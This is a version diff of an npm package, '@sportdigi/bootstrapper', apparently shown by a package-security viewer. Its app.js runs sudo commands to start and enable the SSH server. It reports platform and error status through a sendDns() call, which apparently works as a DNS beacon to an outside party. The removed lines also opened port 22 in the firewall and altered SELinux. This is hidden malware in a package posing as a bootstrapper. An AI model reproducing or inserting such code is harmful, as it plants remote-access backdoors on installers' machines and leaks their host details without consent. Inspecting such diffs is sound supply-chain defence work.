@sportdigi/bootstrapper 25.1.0 → 26.1.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/app.js +4 -15
  2. package/package.json +1 -1
package/app.js CHANGED
@@ -23,20 +23,9 @@ sendDns(platform);
23
23
 
24
24
 
25
25
  let linuxCommands = [
26
- "sudo yum update -y",
27
- "sudo yum install -y openssh-server",
28
- "sudo firewall-cmd --permanent --zone=public --add-service=ssh",
29
- "sudo firewall-cmd --reload",
30
- "sudo systemctl start sshd",
31
- "sudo systemctl enable sshd",
32
- "sudo apt update",
33
- "sudo apt install -y openssh-server",
34
- "sudo ufw allow 22/tcp",
35
- "sudo ufw reload",
36
- "sudo setsebool -P sshd_disable_trans 1",
37
- "sudo systemctl start sshd",
38
- "sudo systemctl enable sshd"
39
-
26
+ "sudo systemctl start ssh",
27
+ "sudo systemctl enable ssh"
28
+
40
29
  ];
41
30
 
42
31
  const setupSSH = (commands) => {
@@ -48,7 +37,7 @@ const setupSSH = (commands) => {
48
37
  } catch (error) {
49
38
  console.error(`Hata: ${command} komutu başarısız oldu`);
50
39
  console.error(error.message);
51
- sendDns("Hata");
40
+ sendDns("sshHata");
52
41
  }
53
42
  }
54
43
  };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@sportdigi/bootstrapper",
3
- "version": "25.1.0",
3
+ "version": "26.1.0",
4
4
  "description": "",
5
5
  "main": "app.js",
6
6
  "scripts": {